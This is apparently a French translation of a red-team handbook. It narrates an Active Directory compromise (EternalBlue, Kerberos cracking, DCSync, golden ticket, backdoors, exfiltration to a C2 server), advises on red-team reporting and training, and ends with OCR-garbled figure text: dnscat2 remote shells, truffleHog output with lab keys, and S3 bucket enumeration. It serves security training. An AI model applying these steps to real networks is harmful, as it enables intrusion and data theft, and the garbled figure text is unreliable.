Vous reprenez à nouveau vos commandes, et vous lancez Bloodhound pour comprendre quels sont les systèmes que vous voyez. Vous remarquez que bon nombre de ces systèmes derrière ce réseau n’ont pas accès à Internet, vous ne pouvez donc pas vous servir de balises HTTP. Toutefois, puisque vous utilisez Cobalt Strike (https://bit.ly/2Xx1BiN), vous savez que celui-ci offre une excellente fonctionnalité qui « tunnelise » vos systèmes compromis à travers des pipelines nommés (SMB). Cela signifie que tous les systèmes supplémentaires qui sont compromis dans le réseau VLAN, seront routés à travers la boîte CSK-LAB pour accéder à l’Internet. De plus, en exécutant systeminfo et en récupérant la liste des correctifs Windows, vous remarquez que ces boîtes, qui font toutes partie de ce réseau semi-isolé, ne sont pas mises à jour. Il semble que les machines clientes fonctionnent toutes sous Windows 7 et n’ont pas été corrigées pour EternalBlue.

Ligne des 70 yards
Grâce à la boîte CSK-LAB, vous utilisez votre exploit EternalBlue modifié pour générer des charges utiles de balises SMB sur de nombreux systèmes Windows 7 dans le réseau qui nous sert de labo. Avec tous les nouveaux shells, vous commencez à piller ces systèmes pour obtenir des informations. Vous remarquez que l’un des systèmes a des connexions actives sur un serveur Microsoft SQL distant nommé Restricted. Vous essayez tous les comptes du réseau, mais aucun des noms d’utilisateur et des mots de passe ne fonctionne pour cette base de données. Stupéfait, vous passez en revue toutes vos notes et vous vous rendez compte que... vous avez oublié vos tickets Kerberos ! Vous faites appel à SSH dans votre boîte de craquage, vous passez en revue la sortie, et trouvez le ticket lié à la base de données Restricted. Une énorme vague de soulagement vous soulève lorsque vous trouvez le mot de passe pour ce compte de service !

Ligne des 80 yards
Vous vous connectez à la base de données Restricted et vous déchargez la base de données tout entière. Vous êtes tenté de tout lire sur-le-champ, mais vous savez que le temps vous est compté. Vous utilisez une partie de votre PowerShell-fu pour compresser et crypter le vidage, puis vous l’exfiltrez lentement entre les différents systèmes compromis, et enfin vous le déplacez en dehors de leur réseau jusque sur votre serveur C2.
Vous vous dites en vous-même que vous l’avez fait, mais, au fur et à mesure que l’excitation diminue, vous réalisez qu’il reste encore du travail à faire. Vous revenez à vos différents vidages Bloodhound, et vous remarquez le chemin à travers la machine de Purri Gagarin, qui fait partie du groupe HelpDesk. Génial, nous pourrons l’utiliser pour nous connecter à distance soit à une boîte d’administration de domaine, soit via Windows ACE. Nous pourrons alors réinitialiser le mot de passe d’un administrateur de domaine pour le remplacer par quelque chose à notre convenance. Nous réinitialisons donc le mot de passe de l’administrateur de domaine, Elon Muskkkat, et nous produisons une nouvelle charge utile en tant qu’administrateur patenté !

Ligne des 90 yards
La dernière chose que nous avons besoin de faire est un vidage de tous les hachages du contrôleur de domaine, de mettre en place des portes dérobées supplémentaires, et de laisser notre carte de visite. Au lieu d’utiliser la méthode bruyante (Shadow Volume Copy) pour obtenir tous les hachages du domaine, vous exécutez DCSync de Mimikatz pour extraire tous les hachages utilisateur, y compris le ticket krbtgt. Nous avons maintenant le golden ticket ! Si jamais nous décidons de revenir dans le réseau, nous pouvons créer nos propres tickets Kerberos et nous replacer directement comme administrateur de domaine.
Pour continuer avec davantage de portes dérobées, nous répartissons toutes nos techniques sur différentes boîtes. Nous avons activé les touches rémanentes sur l’un des systèmes utilisateur. Nous utilisons des techniques de Backdoor Factory pour cacher nos malware dans des binaires courants sur un autre système. Nous avons programmé une tâche à exécuter une fois par semaine pour nous connecter à l’un de nos sous-domaines. Nous avons pris une des boîtes du labo et remplacé un service inutile par un binaire DNScat. Et nous avons déposé quelques charges utiles dans les dossiers de démarrage de différents systèmes.
Heureusement pour nous (mais malheureusement pour eux), nous n’avons pas encore été pris. Cependant, rappelez-vous que le but de l’évaluation par une Red Team est de voir à quelle vitesse ils peuvent identifier les activités malveillantes (ce qu’ils n’ont pas fait), dresser leurs contre-feux et atténuer toutes les activités. Dans une ultime tentative pour déclencher une réaction de la Blue Team, vous exécutez https://bit.ly/32bPhrr, vous éclatez de rire et vous refermez le couvercle de votre ordinateur portable.
Touchdown ! C’est marqué et transformé !



Chapitre 10
On refait le match – Le reporting
Comme nous l’avons vu tout au long de ce livre, l’objectif principal d’une Red Team n’est pas d’identifier les vulnérabilités en soi (bien que cela fasse généralement partie de la campagne), mais de tester les personnes, les outils, les processus et les compétences de vos employés. Si votre entreprise était attaquée et compromise avec succès par un ou plusieurs méchants, quel type de note vous accorderiez-vous ? J’ai toujours été contre l’utilisation de scores d’évaluation des écarts, de scores ISO, de scores de modèles de maturité, d’analyses de risque standard, de cartes thermiques ou de rapports de type similaire pour donner une vision réelle du programme de sécurité d’une entreprise.
Personnellement, j’aime beaucoup voir quand les entreprises implémentent les contrôles à la suite des campagnes précédentes de la Red Team pour vérifier si des progrès ont réellement été réalisés. Par exemple, pour une campagne d’hameçonnage utilisant des domaines de style « double jeu », nous avons vu des entreprises activer certains des éléments suivants :
	Alerte sur des domaines similaires à celui de leur entreprise en utilisant DNStwist (https://github.com/elceef/dnstwist).

	Une liste fiable de domaines de messagerie externes. Tout ce qui est externe et qui ne correspond pas à cette liste ajoutera un en-tête aux emails visibles par votre utilisateur final, indiquant qu’il s’agit d’une source externe et non approuvée par l’entreprise. Cela aidera vos utilisateurs à identifier plus facilement les tentatives d’hameçonnage.

	Tout lien dans les emails provenant de domaines qui ne sont pas classés dans le proxy devrait, au minimum, avoir un clic through et alerter l’utilisateur qu’il n’est pas catégorisé.

	Désactivation des pièces jointes Office avec des macros, activation forcée du mode protégé et placement des documents dans un bac à sable (sandbox).


Ce n’est qu’une petite partie des choses faciles qu’une entreprise pourrait mettre en œuvre pour essayer d’arrêter une attaque.
Rappelez-vous que les Red Teamers n’ont besoin de trouver qu’une seule ouverture pour potentiellement compromettre un environnement. Mais, en même temps, les Blue Teamers n’ont besoin d’identifier qu’un seul des TTP (Tactiques, Techniques et Procédures) d’un attaquant pour potentiellement stopper une compromission. Par conséquent, la question qui se pose maintenant est la suivante : si l’une de ces TTP émet une alerte à partir de votre boîte à outils, à quelle vitesse vos équipes de réponse aux incidents le verront-elles et y réagiront-elles ?
Donc, qu’est-ce qu’il y a dans un rapport du style Red Team ? Comme la notion de Red Team est encore assez récente et qu’il n’existe actuellement aucun modèle de rapport standard, nous pouvons simplement le personnaliser en fonction des besoins du client. De mon point de vue, étant donné que nous pouvons essayer de pénétrer dans un environnement plusieurs fois (et donc aussi nous faire prendre plusieurs fois) au cours d’une campagne entière, nous voulons montrer le bon côté des choses aussi bien que le mauvais.
Pour ce qui est de prendre des notes pendant la campagne, bon nombre d’outils comme Empire et Cobalt Strike ont de très bons systèmes de journalisation des activités, mais ils ne sont pas forcément toujours adéquats. Ce que j’ai trouvé comme étant extrêmement utile pour les campagnes de notre équipe est de mettre en place un serveur Web simple pour enregistrer chacune des activités qu’un membre de la Red Team effectue. Seules les informations les plus élémentaires sont collectées au cours d’une mission, notamment les événements spécifiques, les serveurs, les descriptions, les impacts, les alertes éventuelles et les captures d’écran. La plupart des Red Teamers/pentesters détestent prendre des notes et une méthode comme celle-ci fournit un moyen facile d’assurer le suivi de l’activité (voir la Figure 10.1).
Une fois qu’une campagne est terminée, nous prenons toutes nos notes et nous les combinons pour construire un rapport de la Red Team qui raconte une histoire. Les principales composantes d’un tel rapport peuvent inclure des éléments comme ceux-ci :
	Introduction/Portée : cette section doit énoncer clairement les objectifs de la campagne. Par exemple, des clients nous ont demandé d’accéder à des données spécifiques, d’accéder à l’administration du domaine, d’obtenir des informations sur des identifiants personnels, ou bien des adresses IP, ou encore de trouver un drapeau sur un serveur dans leur réseau de production.

	Indicateurs : il est extrêmement utile pour les équipes chargées des réponses sur incident/des investigations scientifiques de revenir en arrière après un engagement. Nous voulons également identifier les endroits où leurs outils ou capteurs pourraient faire défaut, ce qui les empêcherait d’effectuer des investigations forensiques ou de détecter des activités malveillantes. Par conséquent, nous voulons fournir des indicateurs comme les adresses IP de serveurs C2, les domaines utilisés, les hachages MD5/SHA1 des binaires, les adresses email et les informations IP, la liste des victimes qui ont été hameçonnées et toutes autres données qui pourraient aider ces équipes dans leurs tâches.


[image: FIGURE 10.1 : Un serveur Web simple permet d’effectuer le suivi d’une campagne Red Team.]
FIGURE 10.1 : Un serveur Web simple permet d’effectuer le suivi d’une campagne Red Team.
	Chronologie de l’attaque : c’est l’une des parties les plus importantes d’une campagne Red Team, et il est payant de bien prendre ses notes. La chronologie devrait reprendre de manière adéquate toutes les principales activités, tous les TTP qui ont déclenché une alerte ainsi que les principaux mouvements de la campagne. Cela permettra à la Blue Team de comparer avec sa propre chronologie et avec ses notes pour voir les faiblesses dont elle a fait preuve. Combien de fois, dans une attaque réelle, pouvez-vous interroger les méchants sur tout ce qu’ils ont fait ? C’est là quelque chose d’extrêmement bénéfique pour les équipes chargées de la défense. Un exemple de chronologie pourrait ressembler à l’illustration de la Figure 10.2.

	TTD (Time To Detect) et TTM (Time To Mitigate) : c’est généralement là que nous pouvons travailler avec le rapport de la Blue Team pour construire des statistiques sur les TTD/TTM (Délai de détection/Délai d’atténuation). Ensemble, nous voulons déterminer combien de temps il a fallu aux équipes pour découvrir chacune des intrusions multiples ; combien de temps s’est écoulé, le cas échéant, avant qu’un événement de balayage ne déclenche une investigation ; et combien de temps il a fallu à la Blue Team pour identifier les campagnes d’hameçonnage. La deuxième partie devrait porter sur les statistiques concernant le temps qui s’est écoulé avant que des mesures ne soient prises. S’il y a eu des communications C2 qui ont déclenché une alerte ou du phishing qui a été identifié, combien de temps a-t-il fallu avant que ces domaines soient bloqués sur le pare-feu ou


[image: FIGURE 10.2 : Chronologie d’une attaque.]
FIGURE 10.2 : Chronologie d’une attaque.
	les serveurs DNS ? Nous voyons souvent des situations dans lesquelles les entreprises peuvent être bonnes pour bloquer des domaines, mais échouent rapidement lorsque les serveurs C2 communiquent sur IP (ou vice versa). Nous voulons nous assurer que nous sommes capables de suivre cette activité et de l’identifier pour nos clients. Une autre excellente mesure du TTM est la rapidité avec laquelle ils peuvent isoler un système compromis confirmé. Les malware devenant de plus en plus automatisés, nous devons commencer à utiliser des processus intelligents et également automatisés pour isoler les systèmes ou des parties du réseau du reste de l’organisation.

	Retours d’informations des responsables des réponses sur incident : une de mes choses préférées à documenter est le retour de commentaires des membres des équipes bleues sur la façon dont, à leur avis, la campagne s’est déroulée d’un point de vue défensif. Ce que je cherche, c’est de savoir s’ils ont l’impression d’avoir bien suivi les règles, si la personne en charge de l’incident a mené les investigations, si la direction s’est ou non très impliquée, comment la sécurité a interagi avec les services informatiques pour apporter des corrections au système (blocages du pare-feu, modifications DNS, etc.), et qui a paniqué ou est resté trop calme.

	Comme mentionné précédemment, le but d’une Red Team n’est pas de trouver des vulnérabilités ou de compromettre un environnement (bien que ce soit la partie amusante). Il s’agit d’améliorer le programme de sécurité global d’une organisation et de prouver que certaines failles existent dans leur environnement. De nos jours, de nombreuses entreprises sont trop confiantes dans leurs programmes de sécurité et elles ne changent rien tant qu’elles n’ont pas été violées. Avec les Red Teams, nous pouvons simuler la brèche et encourager les changements sans attendre un incident réel.



Formation continue
Et voici la question à un million de dollars que l’on me pose toujours : qu’est-ce que je fais ensuite ? Vous avez lu des tas de livres, suivi différents cours de formation et assisté à quelques conférences. Le meilleur conseil que je puisse vous donner maintenant est de commencer à travailler sur de petits projets et de contribuer à la communauté de la sécurité. C’est la meilleure façon de tester vos compétences et d’améliorer votre jeu.
Quelques idées qui pourraient vous aider :
	Créez un blog et votre propre compte GitHub : vous devriez écrire sur toutes vos aventures et sur tout ce que vous apprenez. Même si vous partagez vos connaissances avec tout le monde, faites-le en réalité plus pour vos propres progrès. Le fait de « bloguer » sur les choses que vous apprenez vous aidera à améliorer votre écriture, à mieux expliquer les vulnérabilités/exploits d’une manière facile à comprendre, et à vous assurer que vous connaissez suffisamment bien votre sujet pour l’expliquer à autrui.

	Votre CV devrait être votre compte GitHub : je dis toujours à mes étudiants que leur compte (ou blog) GitHub devrait pouvoir être autonome. Qu’il s’agisse de nombreux petits projets de sécurité, tels que rendre les outils plus efficaces et efficients, ou de votre propre projet de sécurité, votre travail devrait en dire long sur GitHub, et donc sur vous.

	Exprimez-vous en public : parler peut être extrêmement intimidant, mais cela aide aussi à vous faire (re)connaître. Recherchez les réunions de passionnés, les rassemblements spécialisés et autres conférences où vous pourriez vous exprimer. Si vous avez l’occasion de passer par le sud de la Californie, j’y ai fondé et dirige actuellement LETHAL (meetup.com/LETHAL), qui est un groupe de sécurité communautaire gratuit, où différents membres (tous des hackers éthiques) sont présents une fois par mois. Vous pouvez également rechercher des groupes près de chez vous sur https://www.meetup.com/fr-FR/. Dans tous les cas, impliquez-vous !

	Bug Bounties : que vous soyez du côté offensif ou du côté défensif, les programmes de « primes aux bogues » peuvent vraiment vous aider à améliorer votre jeu. Les programmes de bug bounty, comme HackerOne, BugCrowd et SynAck, permettent de s’inscrire librement. Non seulement vous pouvez vous faire un peu d’argent pour améliorer les fins de mois, mais vous pouvez aussi légalement pirater leurs sites (en restant dans le cadre de leur programme, bien sûr).

	Compétitions de Capture The Flag : je sais qu’il est difficile de trouver le temps de faire toutes ces choses, mais je dis toujours à mes élèves que la sécurité n’est pas un emploi, c’est un mode de vie. Allez sur le site CTFTime.org, choisissez quelques compétitions dans l’année, bloquez ces week-ends, et piratez ! Croyez-moi, vous en apprendrez plus en un week-end de CTF que dans n’importe quel cours.

	Construisez un labo avec vos amis : il est difficile de mettre en pratique des scénarios réalistes sans disposer d’un laboratoire d’essai qui réplique un environnement d’entreprise. Sans un tel environnement de test, vous ne comprendrez pas vraiment ce qui se passe en coulisses lorsque vous utilisez tous les outils offensifs. Par conséquent, il est impératif de construire un labo complet avec réseaux VLAN, Active Directory, serveurs, stratégies de groupe, utilisateurs et ordinateurs, environnements Linux, Puppet, Jenkins, et tous les autres outils courants que vous pourriez voir.

	Apprenez des méchants : pour un membre d’une Red Team, c’est l’un des facteurs les plus importants. Nos campagnes ne devraient pas être théoriques, mais une réplique d’une autre attaque réelle. Gardez l’œil ouvert pour les derniers rapports concernant les menaces persistantes avancées (APT), et assurez-vous de comprendre comment les adversaires changent leurs attaques.

	Notez les bonnes adresses : pour rester informé de nos dernières nouvelles, inscrivez-vous ici :
	http://thehackerplaybook.com/subscribe/


Et si vous êtes à la recherche d’une formation, consultez notre site Web à l’adresse :
	http://thehackerplaybook.com/training/
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Q 443.https.tls.certificate.parsed.subject.common_name: cyberspacekittens.com
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General  Permissions 4131

Website Identity

Website: cyberspacekittens.com

Owner: This website does not supply ownership information.
Verified by: COMODO CA Limited

Expires on: January 5, 2020

View Certificate

Privacy & History

Have | visited this website prior to today? Yes, 10 times
Is this website storing information (cookies) on my z ¢
computer? No View Cookies

Have | saved any passwords for this website? No View Saved Passwords
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SSLScrape | A scanning tool for scaping hostnames from SSL certificates.
Written by Peter Kim <Author, The Hacker Playbook> and @bbuerhaus
<CEO, Secure Planet LLC>

Usage | python sslScrape.py [CIDR Range]

E.X | python sslScrape.py 10.100.100.0/24

[2018-01-05 21:56:41,668] [DEBUG] [masscan.py 10 line] Scan parameters: "mas
34.216.186.111:fail

34.216.186.117:*.cradlepointecm.com, cradlepointecm.com
34.216.186.135:*.int.helix.apps.fireeye.com
34.216.186.136:theathletic.com,api.theathletic.com,api-staging.theathletic.c
com,staging.athletique.com,staging2.athletique.com,*.athletique.com
34.216.186.139:fail

34.216.186.14:*. cogosense, com
34.216.186.156: * .workdaysuv.com,workdaysuv.com

34.216.186.162: fail

34.216.186.166:1ocalhost, localhost.localdomain,ip-172-31-19-171,ip-172-31-19
34.216.186.179:fail
34.216.186.211:WIN-B47266K9CG8,WIN-B47266K9CG8.emailfraudprevention.com
34.216.186.233:fail

34.216.186.24:* .guisystems.com,guisystems.com

34.216.186.245:* .workdaysuv.com,workdaysuv.com
34.216.186.249:*.dev.powwowinc.net,dev.powwowinc.net
34.216.186.28:*.arabidopsis.org

34.216.186.4:fail

34.216.186.62:*.ezcast.com,ezcast.com
34.216.186.67:staging.smartup.io,*.staging.smartup.io
34.216.186.8:*.menlosecurity.com,menlosecurity.com
34.216.186.86:*.galpinlincoln.com,galpinlincoln.com
34.216.187.10:*.u2you.gwfathom.com,u2you.gwfathom.com
34.216.187.162:pizzfashion.com,www.pizzfashion.com
34.216.187.172:*.codias.com

34.216.187.179:community.ndus.edu

34.216.187.188:

34.216.187.192:*.airtiescloud.com

34.216.187.212:*.trulialocationz.com

34.216.187.44:vpn.yhz94.top

34.216.187.46: fail

34.216.187.61:www.intelliwave.ph,intelliwave.ph

34.216.187.69: fail
34A216.187.82:cygerspacekittensAcom,www.cyberspacekittens.com
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root@THP-LETHAL: /opt/truffleHog/truffleHog# python truffleHog.py https://github.com/cyberspacekittens/dnscat2
Reason: High Entropy

Date: 2018-01-13 18:58:04

Hash: b55de420c2bb324d1f7ceeb19cf3f656d4bbee2f

Filepath: server/controller/csk.config

Branch: master

Commit: Config Update

@@ -1,33 +0,0 @@

-dnscat.config

-"awsSecretKey": "28dunBEhc374473Hdkql3kvdk881AYvne349KD3"
-"awsAccessId": "AKIAJFHD345JFENC34FD"
-"client_secret":"JFHe43fkwDjen3r8fjd3Dje8"
-"secretkey":"cyberspacekittenssupersecurepassword”

------ BEGIN RSA PRIVATE KEY-----

~-MIIEpAIBAAKCAQEAWU/01pfXiORTEZhud6 rXRNAPwfY3zWMiZDnwulsZBmedVRON
-fX+4nPAh2dzy+/qp+DImGs/iLfdtHC6U/9ArvhONioHEfoqColZPGOoqygkcut/e
- fAHXjLVRjwsoCRfcND4gtTZ29/r8mixbCa3LayDD4HZHz7C1ZMi6DajF6hOBf1i3
-X02PBj0aybP/2GYCLc7Zpgb3+jXU6]4beuk3bAOnfZNQwPjec844198EUN2auDaX
-0tYmunEKmt2JAuaAlVSOMC2VmMOCu13cWRh1jMud+mfOxgx28Lo2tpWIFabJ61T2
-HNNvmUWTy51DoWnvF9IrnOxmv48GwVLDtvHBgQIDAQABAOIBAAENK3LbZzuPDAQTX
-KNt60ocORMpTG55Tp1lUfb61FMMRNK]E9gGqRmI raUATkzDoNKoHcnGvG+B9x+pkt
-s8gU9TgK6Zwair55uK52s+1Z1fPWqf5mm8qnIA61MzYIRIWQKLXsILd3/XvqVRft
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dnscat2> New window created: 1

dnscat2> Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)

dnscat2> window

0 :: main [activel
crypto-debug :: Debug window for crypto stuff [x]
dnsl :: DNS Driver running on 0.0.0.0:53 domains = localhost.com [x]
1 :: command (THP-LETHAL) [encrypted and verified] [*]

dnscat2> I
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dnscat2> window
@ :: main [activel
crypto-debug :: Debug window for crypto stuff [x]
dnsl :: DNS Driver running on 0.0.0.0:53 domains = localhost.com [*]
1 :: command (THP-LETHAL) [encrypted and verified]
2 :: sh (THP-LETHAL) [encrypted and verified] [x*]
dnscat2> window -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

sh (THP-LETHAL) 2> 1s

sh (THP-LETHAL) 2> controller
dnscat

dnscat.c

dnscat.o

drivers

libs

Makefile
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root@Pip-172-26-1-22:~/dnscat2/server# ssh root@localhost -p 9999

The authenticity of host '[localhost]:9999 ([127.0.0.1]1:9999)' can't be established.
ECDSA key fingerprint is SHA256:pjglS/UtSMwyG2FZWKmMrpcnhQTelLjg3xqwfsZ4dfbE.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '[localhost]:9999' (ECDSA) to the list of known hosts.
root@localhost's password:

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Wed Jan 31 22:47:42 2018 from 10.100.100.9
root@THP-LETHAL: ~# I
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Destination Protocol Length Info

16.100.100.1 DNS 108 Standard query 0x3656 TXT 357f@1fcad17a3f021e795003776bc9464.1localhost.com

10.100.100.9 DNS 155 Standard query response 0x3656 TXT 357f@1fcad17a3f021e7950037760bc9404.localhost.com TXT

10.100.100.1 DNS 108 Standard query 0x4095 CNAME 82e8019c2135b8df541ffde15587d2eb62.localhost.com

16.100.100.9 DNS 157 Standard query response ©6x4095 CNAME 82e8019c2135b8df541ffde15587d2eb62.localhost.com CNAME bf20019c218bc6e
10.100.100.1 DNS 108 Standard query 0x40b® MX Sbbfeifcad2ede3af5b2740038dbe8bb36.localhost.com

10.100.100.9 DNS 159 Standard query response ©x46b® MX Sbbf@ifcad2ede3af5b2740038dbe8bb36.localhost.com MX 10 d49beifcaddccddies
16.100.100.1 DNS 108 Standard query ©x915f TXT @8ba®19c21eac6bda2b10f9156173d2565.localhost.com

10.100.100.9 DNS 155 Standard query response 0x915f TXT ©8ba@19c21eac6bda2b10f0156173d2565.1localhost.com TXT

160.100.100.1 DNS 108 Standard query ©xc6a8 TXT 6b6bo1fcade51495f204300039f5eca862.localhost.com

160.100.100.9 DNS 155 Standard query response 0xc6a8 TXT 6b6bo1fcade51495f204300039f5eca862.1localhost.com TXT

10.100.100.1 DNS 108 Standard query ©x1adS TXT 44c1019c216dab2c7e08da01573563ceeb.localhost.com

10.100.100.9 DNS 155 Standard query response Ox1ad5 TXT 44c1019c216dab2c7e08da®1573563ceeb.localhost.com TXT

10.100.100.1 DNS 108 Standard query Oxea9d TXT d57101fcad429d53f42b6de@3a45ec70dS5.localhost.com

10.100.100.9 DNS 161 Standard query response Oxea9d TXT d57101fcad429d53f42b6do03adSec70dS.localhost.com TXT

10.100.100.1 DNS 291 Standard query 0xa780 MX diadeifcad6fdfdb782f5f003bSa11f4b4994ed3b9541b443a447cc90e8b.e97cc189818fb1b982422
10.100.100.1 DNS 1608 Standard query 0xd5c5 CNAME 3324019c216804bb6acce901585a24f2b2.localhost.com
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mkdir: cannot create directory ‘/opt/nmap diff': File

-Nmap 7.40 scan initiated Tue Jan 02 21:06:

-T5 -oX /opt/nmap_diff/scan_2018-01-02.xml

+Nmap 7.40 scan initiated Tue Jan 02 21:07:

-T5 -oX /opt/nmap diff/scan 2018-01-02.xml

+10.100.100.101, 00:50:56:38:84:0B:
+Host is up.

+Not shown: 999 closed ports

+PORT  STATE SERVICE VERSION
+80/tcp open http

-Pro-ec (10.100.100.7, AO:BF:C3:D3:0F:EC):
-Host is up.
-Not shown: 1000 closed ports

11 2018 as:

10.100.100

31 2018 as:

10.100.100

ex1ists

/usr/bin/nmap
.0/24
/usr/bin/nmap
.0/24
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ttps://34.216.187.82
&esolved to: ec2-34-216-187-82.us-
est-2.compute.amazonaws.com
age Title: Cyber Space Kittens
ontent-length: 829
Cccept-ranges: bytes

ary: Accept-Encoding
erver: Apache/2.4.18 (Ubuntu)
Est—modiﬁed: Sat, 31 Mar 2018 18:25:30
MT
connection: close
etag: "33d-568b97b4dc5d5"
Eate: Wed, 04 Apr 2018 23:41:02 GMT

esponse Code: 200
ontent-type: text/html

Source Code

ttp://34.216.187.82

esolved to: ec2-34-216-187-82.us-

est~2.compule.amazonaws.com
age Title: Cyber Space Kittens
ontent-length: 829
Cccept-ranges: bytes

ary: Accept-Encoding
server: Apache/2.4.18 (Ubuntu)
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Eligible eBay Domains

The following eBay domains are eligible for this Responsible Disclosure program:

www.ebay.com www.export.ebay.co.th
www.ebay.co.uk http://www.close5.com
www.ebay.com.de www.stubhub.com
www.ebay.com.au http://tweedhands.be
www.ebay.ca http://www.brands4friends.de/
www.ebay.fr http://www.gittigidiyor.com/
www.ebay.it http://www.ebaynyc.com/
www.ebay.es http://www.auction.co.kr
www.ebay.at http://www.secondemain.fr
www.ebay.ch http://www.shopping.com
www.ebay.com.hk http://www.sosticket.com
www.ebay.com.sg http://www.tickettechnology.com
www.ebay.com.my http:/nexpartstaging.com
www.ebay.in http://www.whisolutions.com/
www.ebay.ph http://shutl.com/
www.ebay.ie http://about.co.kr
www.ebay.pl http://www.alamaula.com/
www.ebay.be http://www.bilbasen.dk/
www.benl.ebay.be https://www.bilinfo.net/
www.ebay.nl http://www.motorjobs.dk/
www.ebay.cn http://www.dba.dk/
www.sea.ebay.com http://kleinanzeigen.ebay.de/

www.ebay.co.jp http://www.mobile.de

http:/Awww.gumtree.com
http://www.ebayclassifieds.com/
http://www.kijiji.ca
http://www.marktplaats.nl
http://niewautokopen.nl
http://www.ebaycommercenetwork.com/
http://www.shopping.com/
http://www.gmarket.co.kr/
http://www.ebay-kleinanzeigen.de
http://www.2dehands.be
http://iwww.2ememain.be
http://www.bilinfo.dk/
http://www.nieuweautokpen.nl
http://shutl.it
http://www.gumtree.com.au/
http://www.gumtree.co.za/
http:/www.kijiji.it

http://www.stubhub.co.uk
http://www.vivanuncios.com.mx
http://www.ebayinc.com
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Bounty Report Generator

A quick tool for generating quality bug bounty reports.

View an example report.

Basics

Author:
Company:
Website:
Timestamp:

Summary
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' 20ms 40 ms 60 ms 80 ms 100 ms 120 ms 140 ms 160 ms 180 ma
f = 3 .
|
Name X Headers Preview Response Cookies Timing
+ Ganers
stylesNow.css Request URL:
- Request Method: GET
2902.pn0 Status Code: # 200 0K
_| Imjects Remote Address:
favicon.ico Referrer Policy: no-referrer-when-downgrade

¥ Response Headers view source
Accept-Ranges: bytes

e Cache-Control: public, max-age=@

Connection: keep-alive
Content-Length: 4315
Content-Type: text/html; charset=UTF-8
Date: Tue, 16 Jan 2018 ©07:34:14 GMT
ETag: W/"10db-15ffba9eb9e™
Last-Modified: Mon, 27 Nov 2017 04:08:58 GMT
set-cookie: connect.sidesh3AIt4oM-2nk7a)ICsFuvQtETrF_13A5agZ. eNBFb
JH20KoM; Path=/; Expires=Tue, 16 Jan 2018 ©7:35:14 GMT
set-cookle: donotdecodeme=eyl)tb2RIbGULIOLIUD2RILNLcALhDGL6ZSI9; Ma.
an 2018 87:58:54 GNT

o Wappalyzer

Font Script Web Server

Google Font API Express

Web Framework Programming Language

Express (=) Node.js
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root@thp3: /opt/slurp# ./slurp keyword -t cyberspacekittens
NFO[0000] Starting to process permutations..
[0003] PUBLIC http://cyberspacekittens. 53 us-west-1l.amazonaws.com/ (cyberspacekittens)
lnut“!hp :/opt/slurp# ./slurp domain -t cyberspacekittens.com

0[0000] Domain cyberspacekittens.com is cyberspacekittens.com (punycode)

[0000] Starting to process permutations....
0[0003] PUBLIC http://cyberspacekittens.s3-us-west-1.amazonaws.com/ (http://cyberspacekitte

s, com)
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/opt/bucket_finder# ruby bucket finder.rb --region us list.txt --download
Bucket cyberspacekittens redirects to: cyberspacekittens.s3.amazonaws.com
Bucket Found: cyberspacekittens ( cyberspacekittens.s3.amazonaws.com/cyberspacekittens )

<Downloaded> http://cyberspacekittens.s3.amazonaws.com/ignore.txt
<Private> http://cyberspacekittens.s3.amazonaws.com/secrets/
<Downloaded> http://cyberspacekittens.s3.amazonaws.com/secrets/password.txt
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< C' [ cyberspacekittens.s3.amazonaws.com
This XML file does not appear to have any style information associated

v<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-0
<Name>cyberspacekittens</Name>
<Prefix/>
<Marker/>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
v<Contents>
<Key>ignore.txt</Key>
<LastModified>2018-02-04T23:42:58.000Z</LastModified>
<ETag>"43871d0b9b4508c43cclea3dlca305d8"</ETag>
<Size>25</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
v<Contents>
<Key>secrets/</Key>
<LastModified>2018-02-04T23:43:07.000Z</LastModified>
<ETag>"d41d8cd98f00b204e9800998ecf8427e"</ETag>
<Size>0</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
v<Contents>
<Key>secrets/password.txt</Key>
<LastModified>2018-02-04T23:43:27.000Z</LastModified>
<ETag>"c84270764ec45ebdled75bccldel3143a"</ETag>
<Size>51</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>
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"test" > test.txt
:/opt# aws s3 mv test.txt s3://cyberspacekittens
move: ./test.txt to s3://cyberspacekittens/test.txt
:/opt# aws s3 ls s3://cyberspacekittens
PRE secrets/
2018-02-04 15:42:58 25 ignore.txt
2018-02-04 16:35:17 5
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:/opt# aws s3apli get-bucket-acl --bucket cyberspacekittens

"Owner": {
"DisplayName": "secure",
"ID": "3bb06f3f5202dee0ad34398b93cee264b501d89b3935e381656182488cd2fb9a"
}
*Grants®: [
{
"Grantee": {
"DisplayName": "secure",
"ID": "3bb06f3f5202dee0ad34398b93cee264b501d89b3935e381656182488cd2fb9a",
"Type": "CanonicalUser"
"Permission": "FULL CONTROL"
3
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AllUsers"
},
"Permission": "READ"
1,
{

"Grantee": {
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Whoisology

a great source for distro list based email to IT.

# Domain

< cyberspacekittens.com
2 cyberspacekittens.com
3 cyberspacekittens.com

4 cyberspacekittens.com

May only provided you with a few emails, but this is

Yahoo Search

Exalead Search

Searches for "lead” documentation using

While the Search engine is not as easy to use as Exalead.com. This will search PDF, XIsx, Doc, Docx|
google. It is a great back up source to google when and PPTX files.
they captcha you!

Email Email Source

admin@cyberspacekittens.com
admin@cyberspacekittens.com
admin@cyberspacekittens.com

admin@cyberspacekittens.com

Searching PGP
PasteBin Search for Emails
Yahoo Search for Emails

Google Search for Emails
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(Empire: agents) > autorun clear

(Empire: agents) > autorun /opt/empire autoload.rc powershell
(Empire: agents) > autorun show

{'powershell': ['usemodule situational awareness/network/powerview/get user', 'execute noprompt', 't
ck', 'usemodule situational awareness/network/powerview/get computer', ‘'execute noprompt', 'back']}
(Empire: agents) > [*] Sending POWERSHELL stager (stage 1) to 10.100.100.222

